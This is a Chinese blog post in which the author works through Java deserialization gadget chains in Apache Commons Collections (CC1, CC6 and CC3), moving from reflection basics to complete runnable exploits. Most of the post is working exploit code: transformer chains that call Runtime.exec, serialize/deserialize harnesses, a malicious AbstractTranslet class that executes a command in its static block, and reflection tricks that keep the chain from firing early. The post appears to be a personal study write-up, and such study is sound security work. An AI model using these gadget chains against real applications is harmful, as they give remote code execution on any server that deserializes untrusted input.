本文最后更新于:13 天前
Commons Collections CC1 1 2 Commons Collections <= 3 .2 .1 jdk <= 8 u65
危险的方法调用:Transform.transform()
Transformer接口,该接口主要就是定义了一个接口方法transform()
,
实现这个接口的类中,有这样几个利用链中所涉及到的类:
ConstantTransformer
类中的transform()
方法:
返回一个常量,该常量在构造方法调用的时候就确定了,因此,后续不管transform()
方法传入什么对象,都将返回构造对象时构造方法传入的那个对象
该类的transform()
方法实现了一个完美的反射方法调用,具体流程如下:
传入一个对象,对该对象获取其Class原型,然后获取其方法以及方法参数类型,方法参数值,最后调用传入对象的该方法,
方法名,参数类型列表以及参数列表在其构造函数中被赋值,emmm,怎么说呢,很难不怀疑是什么奇怪的后门。。。
简单测试一下,注意构造方法中的参数类型,出现了计算器弹窗
1 2 3 4 5 6 7 8 9 package org.example;import org.apache.commons.collections.functors.InvokerTransformer;public class Test { public static void main (String[] args) throws Exception{ new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(Runtime.getRuntime()); } }
该类的transform()方法实现了对实现Transformer接口的对象的transform()方法的链式调用,上一个transform()调用的输出作为下一个transform()调用的输入:
iTransformers
数组是在构造函数中赋值的,是一个Transformer对象数组
再结合一下上面的InvokerTransformer
以及ConstantTransformer
,由于不管传入什么ConstantTransformer
都返回新建对象时构造函数传入的那个对象,因此这里在调用chainedTransformer
的transform()
方法时随便传了个整型对象666进去,也成功出现弹窗:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(666 ); } }
初步构造利用链: 但是呢,现在为止,有个问题,就是,Runtime类并没有实现Serializable
接口,怎么序列化?怎么获取Runtime对象?
解决方案就是Class类实现了Serializable
,那么就可以通过反射来获取一个Runtime对象
一个普通的反射代码如下:
1 2 3 4 5 Class<?> c = Runtime.class;Method method = c.getDeclaredMethod("getRuntime" );Object runtime = method.invoke(null ,null );Method execMethod = c.getMethod("exec" ,new Class []{String.class}); execMethod.invoke(runtime,"calc" );
使用InvokerTransformer
来改写:
1 2 3 4 Class<?> c = (Class<?>) new ConstantTransformer (Runtime.class).transform(666 );Method runtimeMethod = (Method) new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(c);Runtime runtime = (Runtime) new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(runtimeMethod);Method execMethod = (Method) new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(runtime);
再使用ChainedTransformer
串起来:
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) };ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
最后再调用一下chainedTransformer的transform()方法,随便传入什么都行,因为链的第一个节点是ConstantTransformer,所以不管传入什么传给下一节点的对象都是Runtime.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Method;public class Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(666 ); } }
成功弹窗计算器:
基于上面的利用链雏形,我们发现要想触发计算器,就必须要调用ChainedTransformer的transform()方法,我们去找transform的同名方法,先分析基于TransformedMap
的一条链,查找transform()的同名方法调用,这条链是利用的TransformedMap
中的checkSetValue()
方法
该方法调用valueTransformer
的transform()方法,
valueTransformer
是什么?跟到构造函数中看,发现就是在调用构造函数时传入的参数,
有个问题,那就是构造函数是受保护方法,很好,没法直接调用了。在类中发现decorate()方法调用了该构造方法,并且decorate()是public的静态方法,很好,这就可以返回一个TransformedMap对象了,
查找checkSetValue()
方法的同名方法调用,发现只有一处调用了:
在AbstractInputCheckedMapDecorator的内部类MapEntry下的setValue()方法中,AbstractInputCheckedMapDecorator是TransformedMap的父类
怎么调用此处的setValue()?这里从直观角度分析,一个Map的每个键值对都是一个Entry,此处等于是重写了setValue(),当遍历一个继承AbstractInputCheckedMapDecorator的类(这里指TransformedMap)的Map对象时,调用每个Entry的setValue()方法即可
关于Java中Entry遍历的相关:https://www.cnblogs.com/2839888494xw/p/15042850.html
这里用最常见的方法是用entrySet()方法来遍历Map,
在自己测试的时候发现了一个有意思的点,主要是在学习这个攻击链之前很大程度上都是为了学习攻击手段而学习,对于类方法最初的用法都不清楚是什么
代码附上:
第一眼看到可能觉得这和网上大部分的exp不是近乎一样吗,但是这里我当时是想看看在这个过程中键值发生了什么变化,于是就把setValue()调用前后的键值都打印出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put("111" ,"222" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null ,chainedTransformer); for (Map.Entry entry : transformedMap.entrySet()){ System.out.println(entry.getValue()); entry.setValue("666" ); System.out.println(entry.getValue()); } } }
结果其实很简单也很好解释,但是站在一开始对Transform接口编程开发一无所知的我的角度来看,就显得比较有意思了。
因此我去学习了一下TransformedMap到底是个什么东西
TransformedMap
是Commons Collections库中的一个类,用于创建一个Map,该Map会对存储在其中的键值对进行转换。它允许你在映射的键、值或两者上应用转换器,以便在存储或检索数据时进行自定义的转换操作。TransformedMap
有一个decorate()
方法,可以用来包装现有的Map
实现,并在包装过程中应用指定的转换器。当一个TransformedMap对象实例化后,后续再添加新的键值对也会继续经转换器处理。关于decorate()的源码上面展示过了不过多赘述也很好理解什么是原始方法什么是转化器。当然也以选择性地指定键和值的转换器。如果不需要转换键或值,可以将相应的转换器参数设为null
。
一个简单的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class TransformedMapExample { public static void main (String[] args) { Map<Object, Object> originalMap = new HashMap <>(); originalMap.put("key" , "value" ); Transformer<String, String> upperCaseTransformer = input -> input.toUpperCase(); Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null , upperCaseTransformer); transformedMap.put("newKey" , "newValue" ); System.out.println(transformedMap.get("key" )); System.out.println(transformedMap.get("newKey" )); } }
再回到我们exp的的结果中,为什么一开始会得到222?其实是因为此时222经chainedTransform对象的处理后,并没有发生改变,这么说可能有点奇怪,为什么呢?是因为其还没调用setValue方法从而导致transform()方法并没有被触发,因此原先的键值222并没有被转换器chainedTransform所转换,但是一旦调用了setValue()方法后,222这个键值显然就被转化成了经过一个transform()链后所触发的一个系统进程用于执行系统命令,也就是ProcessImpl类对象
到这分析的比较ok了,那比如说我在decorate修饰完之后对原先的hashMap进行添加新的键值对,
这将会出现两个计算器弹窗,注意看输出,这说明在修饰完之后对原先的映射进行修改时,会影响到TransformMap映射对象,二者似乎是绑定在一起的
但是我一旦改成这样:
运行会发现居然出现了三个计算器弹窗?并且注意输出也有所不同,第二组键值对似乎在进入循环遍历之前就已经将222转换成ProcessImpl对象了,也就是说在这之前就执行命令了,为什么?
这里先不使用debug简单分析一下,在进入循环遍历之前有transformedMap.put("1","222");
这一处很可疑,put方法?联想到之前URLDNS链分析过程中碰到的put导致的提前执行hashCode(),这里是不是也存在类似的情况?跟进去看一眼,当然是要跟进到TransformedMap类中去看它的put():
因为受转换的222是在键值的位置,调用了transformValue()方法,继续跟进去看
aha,果真是提前调用了transform()方法了,。。
也许顺着put()往上翻能再摸一条链出来?这是未来的事了,先回到主线上来:
AnnotationInvocationHandler类:
这个要自己导入对应jdk版本的sun包,导入完之后,我们继续顺着上面的思路(主线思路),寻找一个类在它的遍历键值对的过程中调用了setValue(),当然要是是在一个实现Ser接口的类的readObject()方法中就更好了
AnnotationInvocationHandler
就是一个非常合适的类:(sun.reflect.annotation.AnnotationInvocationHandler
)
它重写了readObject()方法,看看里面有什么
很幸运地找到了有一处循环遍历键值对的地方,并且对每个键值对调用了setValue(),而memberValues是我们可控的,这不是近乎完美的一个点吗?
试一下,直接序列化反序列化一下看看结果
在这之前先注意几个点,首先,AnnotationInvocationHandler和它的构造器都不是公共的,因此想创建一个AnnotationInvocationHandler对象的话要通过反射调用;
其次,AnnotationInvocationHandler构造方法的参数:
第一个参数是一个继承了注解类(Annotation)的一个Class类的对象,第二个是一个Map对象,显然我们要传入的transformedMap就是第二个参数
序列化反序列化代码写好
1 2 3 4 5 6 7 8 9 public static void ser (Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("potato.dat" )); oos.writeObject(obj); }public static Object unser () throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("potato.dat" )); return ois.readObject(); }
反射实例化获取AnnotationInvocationHandler对象,并传入参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("11" , "222" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Override.class,transformedMap); ser(o); unser(); }
沉默。。安静。。无事发生,并没有触发计算器弹窗,猜测就是AnnotationInvocationHandler的if那边进不去了,打个断点到第一个if,直接步过了,看来没触发条件,那就仔细分析一下条件吧
这里是对memberType进行判断,往回看memberType是从memberTypes中获取键名为name变量的键值,而name变量是memberValue中获取键名得到的,也就是说memberTypes中需要存在一个属性,该属性与memberValues的一个键名相同
放到代码中来说,就是我的transformedMap需要有一个键名,这个键名同名的方法存在于我们选择的注解类中
因此,我们选择的注解中需要有属性,上文测试的Override注解其实并没有属性:
但是Target注解就有一个value方法了,
因此,推上一个键名为”value”的键值对,并且在新建AnnotationInvocationHandler对象时要传入一个有value方法的注解的类原型
1 2 3 hashMap.put("value" , "222" ); ...... Object o = constructor.new Instance(Target.class ,transformedMap ) ;
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "222" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformedMap); ser(o); unser(); } public static void ser (Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("potato.dat" )); oos.writeObject(obj); } public static Object unser () throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("potato.dat" )); return ois.readObject(); } }
构造完整利用链(LazyMap) CC6 LazyMap类: 在前面寻找哪里调用了transform()方法时,不是还看到了个LazyMap吗?它的get()方法中也调用了transform()方法,factory是可控的,我们在构造函数中可以赋值key我们也是可控的,因此可以人为操控传入的key使得满足if的条件,接下来就继续寻找一个类方法使得能让某个属性调用get()方法并且值可控
LazyMap的构造方法也是受保护的,因此同样需要用decorate()方法来调用。get()方法调用的是map属性的transform()方法,因此chainedTransform要传入第一个参数,第二个参数随便传一个Transform对象即可:
TiedMapEntry类: 寻找get()的调用,注意到TiedMapEntry类下的getValue()方法,调用了map属性的get方法,传值为key
而map和key属性都是在构造方法中赋值好的:
目前为止一切完美,继续找getValue()的调用:
在其hashCode()方法下发现了getValue()方法的调用
hashCode()?
没错,正是前面URLDNS那条链的hashCode()方法调用
再分析一下,首先HashMap作为入口类,它的readObject()方法重写并调用了hash()方法:
hash()方法内部调用了hashCode(),这就走到了先前的位置,至此一条链完成
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) };ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "222" ); Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,1 ); HashMap<Object,Object> hashMap1 = new HashMap <>(); hashMap1.put(tiedMapEntry,"1" ); ser(hashMap1); unser();
确实出现了计算器弹窗,但是不需要反序列化也可以,这不禁让人想到了之前URLDNS链的那一个类似的点,因为put()方法中也会调用hash()方法,
那就采取和当时类似的做法呗,既然put会调用hash那就先在这之前通过反射修改某些属性使得这条链无法走下去
这里直接选择把lazyMap的chainedTransformer改成随便一个Transform对象,put之后再通过反射将lazyMap.factory的值改为chainedTransformer,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) };ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "222" ); Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer (66 ));TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,1 ); HashMap<Object,Object> hashMap1 = new HashMap <>(); hashMap1.put(tiedMapEntry,"1" ); Class<?> c = Class.forName("org.apache.commons.collections.map.LazyMap" );Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazyMap,chainedTransformer); ser(hashMap1); unser();
但是这下好了,弹窗都没了。。
借鉴大佬们的文档问题似乎出在了LazyMap的get()方法上,LazyMap,字面意思很好理解也就是懒加载,当判断map中获取不到key,也就是get不到时,就去调用factory的transform方法来向map中添加一组键值对并返回调用transform()方法后的结果。一开始在调用put()方法时避免不了调用hashCode(),也就无法避免使用getValue()->get()方法,因此键名为1键值为66的键值对在put时就会插入到lazyMap.map中,当向map中插入这个键值对之后,也就是说lazyMap的map中此时已经存在了1->66这个键值对了,这时候进行反序列化是无法满足这个if的判断的,因此我们只需要在调用put方法过后删除掉1这个键即可
添加
反序列化出现计算器弹窗:
完整代码附上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package org.example;import com.sun.javafx.collections.MappingChange;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Collections;import java.util.HashMap;import java.util.Map;public class Main { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "222" ); Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer (66 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,1 ); HashMap<Object,Object> hashMap1 = new HashMap <>(); hashMap1.put(tiedMapEntry,"1" ); lazyMap.remove(1 ); Class<?> c = Class.forName("org.apache.commons.collections.map.LazyMap" ); Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazyMap,chainedTransformer); ser(hashMap1); unser(); } public static void ser (Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("potato.dat" )); oos.writeObject(obj); } public static Object unser () throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("potato.dat" )); return ois.readObject(); } }
其实这段代码中,反射修改值的这一步并不是非常有必要,因为此处提前触发弹窗但是并不会造成某些属性的值改变(key值的插入是必然的,无关lazyMap中的factory是否为chainedTransformer)
CC3 寻找defineClass的调用(但是走偏了) 与前面的链不同的是,CC3是利用类加载导致rce
简单看了下入口方法是defineClass(),于是开始尝试自己寻找利用链,思索了一下既然还是CC链,那就意味着可能还是最后靠transform方法来链式调用poc链了,现在的方向就是寻找一个方法调用过程,从defibeClass()方法开始寻找,一路找到某个公共方法,然后使得能够在CC中进行一个调用,某个属性能在这个过程中接住defineClass的返回值,并且对这个属性进行实例化,即可触发攻击
通过查找用法,在TemplatesImpl类下寻找到了一个defineClass()方法对我们需要的defineClass()进行了调用,直接传入一个bytes字节可控,向上寻找该defineClass的调用
查找用法,在defineTransletClasses()方法下找到了对其的调用,并且结果被_class
数组给获取到了,跟踪到这里其实心里已经觉得很大概率就是走的这个利用链了,至少目前为止没错。接下来就是寻找_class数组内元素的实例化,既然有类加载方法,大概率这个类也是有类实例化的方法的
稍微寻找一下很幸运地就在下面那个方法中寻找到了对_class
元素的实例化,下标_transletIndex
可控,但是此处的getTransletInstance()方法仍然是私有的方法,因此还得继续查找方法调用直至到public
对getTransletInstance()方法进行方法调用查找,在最后成功来到了newTransformer这个public方法
当时到这里,思考了一下总感觉哪里有点欠缺
想了想好像是把上面的defineClass跟丢了直接跑来getTransletInstance()的查找了,,
但是在一条的反序列化链中需要保证上面的defineClass()的调用和此处的getTransletInstance()在一个共同的方法中被调用才行,或者如果某个方法调用了defineClass()之后能直接返回_class
对象也可以,只要保证上一个节点的返回值能调用下一个节点的方法就行,必须在一条链子中
回头对defineTransletClasses进行一个调用查找后发现了getTransletInstance()的一刹那松了口气
其实当时要是多看两眼getTransletInstance方法开头就很快没有这个顾虑了,判断_class对象如果说null的话就调用defineTransletClasses了,下面紧接着实例化
1 2 3 4 5 6 7 8 9 10 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
至此,相当完美的一条利用链形成了
先尝试正向构造出一条链
目标类是TemplatesImpl,但是经过寻找并未找到有参构造函数或者某个方法能够返回一个TemplatesImpl对象,但是有一个无参构造函数,在脑袋宕机许久之后,终于反应过来其实可以直接调用无参构造函数的,,后续再通过反射修改属性值就行了
不过不禁有些疑问,为什么一定要走过那个defineClass呢,直接通过反射将已经加载完的恶意class传给_class
不就好了吗
做了个简单的尝试,这样爆了空指针异常,于是打断点看看那出问题了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class CC_Test { public static void main (String[] args) throws Exception { ClassLoader classLoader = ClassLoader.getSystemClassLoader(); byte [] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class" )); Class<?> c = Class.forName("java.lang.ClassLoader" ); Method m = c.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); m.setAccessible(true ); Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0 ,bytes.length); TemplatesImpl templates = new TemplatesImpl (); Class<?> templatesClass = templates.getClass(); Field _classField = templatesClass.getDeclaredField("_class" ); _classField.setAccessible(true ); _classField.set(templates,new Class []{c1}); templates.newTransformer(); } }
是_translet对象为null导致的空指针异常,那么我们第一反应肯定是就给他赋个值,
注意到这个对象是AbstractTranslet类型的,是个抽象类
1 private AbstractTranslet _translet = null ;
但是瞪大眼睛了)这里是TransformerImpl而不是TemplatesImpl了
写到这了,突然不知道给谁赋值?想起来这个TransformerImpl是突然窜出来的,,陷入沉思
在空指针异常的那个地方查看调用栈,柳暗花明,是在调用这个构造函数的时候的第一个传参,
继续查看上面的调用帧,锁定第一个参数,说实话有点震惊的,居然来到了getTransletInstance()这
在这个地方打个断点,重新调试,找到问题的所在了,我们没有给_name变量赋值
找到_name的定义,就是个字符串
1 private String _name = null ;
通过反射给_name赋值,结果抛出了新的异常
继续debug,发现还是在这个方法内部,而且没过几行,真是坎坷啊(感叹,
这里_transletIndex
变量没被修改过,初始值是-1,我们上面传入_class
数组了一个恶意类,下标应该是0
1 private int _transletIndex = -1 ;
再通过反射修改一下值,成功弹计算器了!但是还是有报错,看报错大致的意思是继承关系出错了,依旧向上面一样,打断点,debug
来到了这,恍然大悟,上次写的Test类就是个普通的Object,怎么能转型成AbstractTranslet呢,显然不行
于是我让他继承了AbstractTranslet,重新javac编译一下,上次的留着吧,这次的改个名叫Test1.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
随后到来的又是一个空指针异常,打断点,debug
这会问题出在了AbstractTranslet这里,它的nameArray是null导致的
跟上去看,是一个String数组
1 protected String[] namesArray;
在Test类中加了个构造函数,重新编译
1 2 3 public Test () { super .namesArray = new String []{"666" }; }
随后抛出了新的空指针异常,解决方式依旧和上面一样,注意到这里又是来到了TransformerImpl,因此收到上面的启发去看调用栈
1 private TransformerFactoryImpl _tfactory = null ;
虽然不是同一时间,但是是同一地点(雾,又来到了这里
和上面一样,反射传一个TransformerFactoryImpl对象,TransformerFactoryImpl有个无参构造函数,方便很多了
此处应有掌声~
于是乎紧接着尝试用CC链把这个串起来,相当的nice
后半截就是和CC6链一样了,LazyMap,直接复制过来就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 package com.potato.Commons_Collections;import com.potato.Tools.Utils;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class CC_Test { public static void main (String[] args) throws Exception { ClassLoader classLoader = ClassLoader.getSystemClassLoader(); byte [] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class" )); Class<?> c = Class.forName("java.lang.ClassLoader" ); Method m = c.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); m.setAccessible(true ); Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0 ,bytes.length); TemplatesImpl templates = new TemplatesImpl (); Class<?> templatesClass = templates.getClass(); Field _classField = templatesClass.getDeclaredField("_class" ); _classField.setAccessible(true ); _classField.set(templates,new Class []{c1}); Field _nameField = templatesClass.getDeclaredField("_name" ); _nameField.setAccessible(true ); _nameField.set(templates,"666" ); Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex" ); _transletIndexField.setAccessible(true ); _transletIndexField.set(templates,0 ); Field _tfactoryField = templatesClass.getDeclaredField("_tfactory" ); _tfactoryField.setAccessible(true ); _tfactoryField.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,new Class []{},new Object []{}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap = new HashMap <>(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer (11 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,1 ); HashMap<Object,Object> hashMap1 = new HashMap <>(); hashMap1.put(tiedMapEntry,"1" ); Class<?> c2 = LazyMap.class; Field factoryField = c2.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); lazyMap.remove(1 ); Utils.unserialize("obj.ser" ); } }
大成功!
看了眼这个小节的标题,然后思考了下,,emmm好像真的直接给_class
传恶意类就行了啊,有点偏离了出发点但是居然能成功(
要不试试走defineClass
二顾茅庐 那原本这一块地方的代码就得改掉了
根据上面的分析,如果_class是null,也就是没通过反射去改他,就会调用一个类加载
通过反射给_bytecodes
赋值,下面的代码几乎不变
1 2 3 4 5 6 7 byte [][] bytes = new byte [][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class" ))};TemplatesImpl templates = new TemplatesImpl (); Class<?> templatesClass = templates.getClass();Field _classField = templatesClass.getDeclaredField("_bytecodes" ); _classField.setAccessible(true ); _classField.set(templates,bytes);
然后调用transform(),成功触发poc
